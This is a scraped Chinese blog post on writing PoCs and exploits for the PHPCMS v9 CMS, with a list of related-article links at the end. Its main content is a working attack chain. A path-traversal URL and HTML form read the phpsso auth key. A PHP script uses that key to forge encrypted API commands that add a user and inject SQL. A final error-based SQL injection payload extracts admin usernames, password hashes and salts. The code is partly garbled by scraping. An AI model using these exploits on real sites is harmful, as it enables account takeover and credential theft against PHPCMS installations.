简单的Poc Exp编写(上)
1
|
api.php?op = get_menu & act = ajax_getlist & callback = aaaaa & parentid = 0 & key = authkey & cachefile = ..\..\..\phpsso_server\caches\caches_admin\caches_data\applist & path = admin |
1
2
3
|
< form action = "http://127.0.0.1/2/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin" method = "post" > < input type = "submit" value = "爆菊花" / > < / form > |
这个payload 是GET 的方式 访问的 我们无需提交数据
<ignore_js_op>

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
|
< ?php #error_reporting(0); $ url = $_GET[' url ']; $ key = $_GET[' key ']; / / $host = '网站'; / / $auth_key = ' key '; / / $ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点 $auth_key = "$key" ; $ string = "action=member_delete&uids=" .$_GET[' id ']; / / uids注入点 $strings = "action=member_add&uid=88888&random=333333&username=test123456&password=e445061346e44cc38d9f985836b9eac6&email=ffff@qq.com®ip=8.8.8.8" ; $ecode = sys_auth ( $strings , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; $resp = file_get_contents ( $ url ) ; #echo $resp; $ecode = sys_auth ( $ string , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; #echo $url; $resp = file_get_contents ( $ url ) ; echo $resp; $ecode = sys_auth 2 ( $strings , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; $resp = file_get_contents ( $ url ) ; #echo $resp; $ecode = sys_auth 2 ( $ string , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; $resp = file_get_contents ( $ url ) ; echo $resp; $ecode = sys_auth 3 ( $strings , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; $resp = file_get_contents ( $ url ) ; #echo $resp; $ecode = sys_auth 3 ( $ string , 'ENCODE' , $auth_key ) ; $ url = $host. "/api.php?op=phpsso&code=" .$ecode; $resp = file_get_contents ( $ url ) ; echo $resp; function sys_auth ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) { $key_length = 4 ; $ key = md 5 ( $ key ! = '' ? $ key : pc_base : : load_config ( 'system' , 'auth_key' ) ) ; $fixedkey = md 5 ( $ key ) ; $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ; $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : ''; $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ; $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string : base 64 _decode ( strtr ( substr ( $ string , $key_length ) , ' - _' , ' + / ' ) ) ; if ( $operation = = 'ENCODE' ) { $ string . = substr ( md 5 ( microtime ( true ) ) , -4 ) ; } if ( function_exists ( 'mcrypt_encrypt' ) = = true ) { $ result = sys_auth_ex ( $ string , $operation , $fixedkey ) ; } else { $i = 0 ; $ result = ''; $string_length = strlen ( $ string ) ; for ( $i = 0 ; $i < $string_length; $i + + ) { $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ; } } if ( $operation = = 'DECODE' ) { $ result = substr ( $ result , 0 , -4 ) ; } if ( $operation = = 'ENCODE' ) { return $runtokey . rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ; } else { if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result , 26 ) .$egiskeys ) , 0 , 16 ) ) { return substr ( $ result , 26 ) ; } else { return ''; } } } function sys_auth_ex ( $ string , $operation = 'ENCODE' , $ key ) { $encrypted_data = "" ; $td = mcrypt_module_open ( 'rijndael -256 ' , '' , 'ecb' , '' ) ; $iv = mcrypt_create_iv ( mcrypt_enc_get_iv_size ( $td ) , MCRYPT_RAND ) ; $ key = substr ( $ key , 0 , mcrypt_enc_get_key_size ( $td ) ) ; mcrypt_generic_init ( $td , $ key , $iv ) ; if ( $operation = = 'ENCODE' ) { $encrypted_data = mcrypt_generic ( $td , $ string ) ; } else { $encrypted_data = rtrim ( mdecrypt_generic ( $td , $ string ) ) ; } mcrypt_generic_deinit ( $td ) ; mcrypt_module_close ( $td ) ; return $encrypted_data; } function sys_auth 2 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) { $ckey_length = 4 ; $ key = md 5 ( $ key ! = '' ? $ key : $this - > ps_auth_key ) ; $keya = md 5 ( substr ( $ key , 0 , 16 ) ) ; $keyb = md 5 ( substr ( $ key , 16 , 16 ) ) ; $keyc = $ckey_length ? ( $operation = = 'DECODE' ? substr ( $ string , 0 , $ckey_length ) : substr ( md 5 ( microtime ( ) ) , - $ckey_length ) ) : ''; $cryptkey = $keya.md 5 ( $keya.$keyc ) ; $key_length = strlen ( $cryptkey ) ; $ string = $operation = = 'DECODE' ? base 64 _decode ( strtr ( substr ( $ string , $ckey_length ) , ' - _' , ' + / ' ) ) : sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$keyb ) , 0 , 16 ) .$ string ; $string_length = strlen ( $ string ) ; $ result = ''; $box = range ( 0 , 255 ) ; $rndkey = array ( ) ; for ( $i = 0 ; $i < = 255 ; $i + + ) { $rndkey[$i] = ord ( $cryptkey[$i % $key_length] ) ; } for ( $j = $i = 0 ; $i < 256 ; $i + + ) { $j = ( $j + $box[$i] + $rndkey[$i] ) % 256 ; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ( $a = $j = $i = 0 ; $i < $string_length; $i + + ) { $a = ( $a + 1 ) % 256 ; $j = ( $j + $box[$a] ) % 256 ; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $ result . = chr ( ord ( $ string [$i] ) ^ ( $box[ ( $box[$a] + $box[$j] ) % 256 ] ) ) ; } if ( $operation = = 'DECODE' ) { if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result , 26 ) .$keyb ) , 0 , 16 ) ) { return substr ( $ result , 26 ) ; } else { return ''; } } else { return $keyc.rtrim ( strtr ( base 64 _encode ( $ result ) , ' + / ' , ' - _' ) , ' = ' ) ; } } function sys_auth 3 ( $ string , $operation = 'ENCODE' , $ key = '' , $expiry = 0 ) { $key_length = 4 ; $ key = md 5 ( $ key ) ; $fixedkey = md 5 ( $ key ) ; $egiskeys = md 5 ( substr ( $fixedkey , 16 , 16 ) ) ; $runtokey = $key_length ? ( $operation = = 'ENCODE' ? substr ( md 5 ( microtime ( true ) ) , - $key_length ) : substr ( $ string , 0 , $key_length ) ) : ''; $keys = md 5 ( substr ( $runtokey , 0 , 16 ) . substr ( $fixedkey , 0 , 16 ) . substr ( $runtokey , 16 ) . substr ( $fixedkey , 16 ) ) ; $ string = $operation = = 'ENCODE' ? sprintf ( '% 010 d' , $expiry ? $expiry + time ( ) : 0 ) .substr ( md 5 ( $ string .$egiskeys ) , 0 , 16 ) . $ string : base 64 _decode ( substr ( $ string , $key_length ) ) ; / / 10 位密文过期信息 + 16 位明文和密钥生成的密文验证信息 + 明文 $i = 0 ; $ result = ''; $string_length = strlen ( $ string ) ; for ( $i = 0 ; $i < $string_length; $i + + ) { $ result . = chr ( ord ( $ string { $i } ) ^ ord ( $keys { $i % 32 } ) ) ; } if ( $operation = = 'ENCODE' ) { return $runtokey . str_replace ( ' = ' , '' , base 64 _encode ( $ result ) ) ; } else { if ( ( substr ( $ result , 0 , 10 ) = = 0 || substr ( $ result , 0 , 10 ) - time ( ) > 0 ) & & substr ( $ result , 10 , 16 ) = = substr ( md 5 ( substr ( $ result , 26 ) .$egiskeys ) , 0 , 16 ) ) { return substr ( $ result , 26 ) ; } else { return ''; } } } ? > |
1
|
php? url = url & key = key & id = userid = 1 % 20 and% 20 ( SELECT% 201 % 20 FROM ( SELECT% 20 count ( * ) , concat ( ( SELECT ( SELECT% 20 concat ( 0 x 7 e , 0 x 27 , cast ( ( substring ( ( select + concat ( 0 x 7 e , 0 x 27 , username , 0 x 3 a , + password , + 0 x 3 a , + encrypt , 0 x 27 , 0 x 40 , 0 x 7 e ) + FROM + `v 9 _admin` + WHERE + 1 + limit + 0 , 1 ) , 1 , 62 ) ) % 20 as% 20 char ) , 0 x 27 , 0 x 7 e ) ) % 20 FROM% 20 information_schema.tables% 20 limit% 200 , 1 ) , floor ( rand ( 0 ) * 2 ) ) x% 20 FROM% 20 information_schema.columns% 20 group% 20 by% 20 x ) a ) |
<ignore_js_op>






简单的Poc Exp编写(上)的更多相关文章
- [原创]Python入门到简单网站目录扫描器编写(上)
1.字符串,整型,浮点型.区别以及用法 |------字符串是 Python 中最常用的数据类型.我们可以使用引号('或")来创建字符串. 可以不严格的说,你可以认为引号包括的,都属于字符串 ...
- selenium从入门到应用 - 2,简单线性脚本的编写
本系列所有代码 https://github.com/zhangting85/simpleWebtest 本文将介绍一个Java+TestNG+Maven+Selenium的web自动化测试脚本环境下 ...
- CVE-2021-21972 vSphere Client RCE复现,附POC & EXP
漏洞简介 vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi.vCenter Server 等一系列的软件.其中 vCenter Server 为 ESXi 的控制中心,可从单一控 ...
- 简单介绍一下在CentOS上安装Docker。
简单介绍一下在CentOS上安装Docker. 前置条件: 64-bit 系统 kernel 3.10+ 1.检查内核版本,返回的值大于3.10即可. $ uname -r 2.使用 sudo 或 r ...
- ASP.NET Core 简单实现七牛图片上传(FormData 和 Base64)
ASP.NET Core 简单实现七牛图片上传(FormData 和 Base64) 七牛图片上传 SDK(.NET 版本):https://developer.qiniu.com/kodo/sdk/ ...
- 在linux安装redis单机和集群后,如何在windows上使用redis客户端或者java代码访问错误的原因很简单,就是没有连接上redis服务,由于redis采用的安全策略,默认会只准许本地访问。需要通过简单配置,完成允许外网访问。
这几天在学习在linux上搭建服务器的工作,可谓历经艰辛.可喜最后收获也不少. 这次是在linux上搭建redis服务器后从windows上缺无法访问,连接不上. 仔细回忆以前搭建nginx和ftp的 ...
- java免费空间!最简单的openshift免费空间上传代码教程!和FTP一样简单!
史上最简单的openshift免费空间上传代码教程!没有之一! 最近因为想弄一个免费的空间,而且最好是Java的空间,找了一大片,jsp的空间少不说,免费的更是寥寥无几. 找了一大推垃圾空间,终于让我 ...
- 最简单的bootloader的编写
目标:写出bootloader的第一阶段代码和第二阶段代码,并测试. 最简单的bootloader的编写步骤: 1. 初始化硬件:关看门狗.设置时钟.设置SDRAM.初始化NAND FLASH2. 如 ...
- C#高性能大容量SOCKET并发(十一):编写上传客户端
原文:C#高性能大容量SOCKET并发(十一):编写上传客户端 客户端封装整体框架 客户端编程基于阻塞同步模式,只有数据正常发送或接收才返回,如果发生错误则抛出异常,基于TcpClient进行封装,主 ...
随机推荐
- Rabbitmq(7) confirm 异步模式
//存储未确认的消息标识tagfinal SortedSet<Long> confirmSet = Collections.synchronizedNavigableSet(new Tre ...
- Gitlab安装与备份恢复
GitHub是2008年由Ruby on Rails编写而成,与业界闻名的Github类似;但要将代码上传到GitHub上面,而且将项目设为私有还要收费.GitLab是一个用于仓库管理系统的开源项目, ...
- Android TextView 跑马灯效果 - 2018年6月19日
第一步在布局中添加加粗部分代码: <TextView android:id="@+id/tv_company" android:layout_width="0dp& ...
- 干货|技术小白如何在45分钟内发行通证(TOKEN)并上线交易(附流程代码
https://blog.csdn.net/HiBlock/article/details/80071478
- 关于 web 页面 占满全屏
页面一般可以分成三部分,头部,底部,中间内容部分. 一般不用考虑中间高度部分,因为可以靠内容撑开,然后让底部到达底部.但是当中间内容太少时,底部就会顶不到底部. 方法1.中间部分给一个最小高度(min ...
- springboot整合websocket实现一对一消息推送和广播消息推送
maven依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId> ...
- 整合Spring框架和MyBatis框架
------------------------siwuxie095 整合 Spring 框架和 MyBatis 框架 ...
- Python基础-python基本语法(二)
一.注释 分类:单行注释和多行注释 1.单行注释 单行注释以#开头,在当前行内,#后面的内容就是注释内容 2.多行注释 被两个 ''' 或 '''''' 包括起来的内容就是注释 ...
- linux命令-crontab
一.安装 yum install crontabs 二.基本使用 1.crontab -e:创建任务,进入编辑 格式: 基本格式 : ——————————————————— * * * * * com ...
- [Python] 怎么把HTML的报告转换为图片,利用无头浏览器
How to convert HTML Report to picture format in Email? So that we can see the automation report also ...